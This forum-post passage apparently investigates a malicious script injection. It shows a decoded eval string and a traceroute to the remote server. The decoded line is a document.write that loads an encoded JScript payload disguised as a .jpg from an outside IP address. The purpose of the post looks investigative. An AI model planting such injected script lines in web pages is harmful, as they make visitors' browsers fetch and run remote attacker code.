that eval javascript string..
converts to this:
PHP Code:
document.write('<script language=jscript.encode src=http://205.134.182.151/ads2/hstg/mchd/a3.jpg></script>');
Here's a trace from one of our servers to his. He's on the East Coast someplace.
traceroute to 205.134.182.151 (205.134.182.151), 64 hops max, 40 byte packets
1 norcal.oc192.2.xfrnetworks.com (63.146.168.2) 0.363 ms 0.390 ms 0.272 ms
2 cntr-02.jsv.qwest.net (66.77.106.137) 0.282 ms 0.294 ms 0.204 ms
3 svl-core-03.inet.qwest.net (205.171.14.5) 0.366 ms 0.485 ms 0.382 ms
4 pax-brdr-02.inet.qwest.net (205.171.205.30) 1.019 ms 0.921 ms 0.822 ms
5 snfccapaix-qwest-pos.wcg.net (64.200.199.125) 1.090 ms 0.913 ms 0.915 ms
6 sntcca2lce1-oc48.wcg.net (64.200.210.177) 71.461 ms 71.699 ms 71.667 ms
7 snfcca1wcx2-oc48.wcg.net (64.200.199.73) 71.468 ms 71.308 ms 71.377 ms
8 anhmca1wcx3-oc48.wcg.net (64.200.240.1) 140.419 ms 142.986 ms 199.567 ms
9 hrndva1wcx2-oc48.wcg.net (64.200.240.30) 71.357 ms 71.346 ms 71.416 ms
10 hrndva1wcx3-pos9-0.wcg.net (64.200.95.134) 71.434 ms 71.452 ms 71.288 ms
11 washdc7lce1-oc48.wcg.net (64.200.95.94) 71.167 ms 71.096 ms 71.075 ms
12 washdc7lce1-yipes-gige.wcg.net (64.200.94.230) 71.303 ms 71.331 ms 71.493 ms
13 63.210.28.201 (63.210.28.201) 74.156 ms 72.118 ms 72.215 ms
14 63.210.28.199 (63.210.28.199) 72.413 ms 72.434 ms 72.240 ms
15 63.210.28.198 (63.210.28.198) 72.759 ms 73.321 ms 72.943 ms
16 east0.cluster.oc48.ai.net (205.134.160.25) 74.052 ms 75.916 ms 74.537 ms
17 205.134.182.151 (205.134.182.151) 74.808 ms 74.759 ms 74.856 ms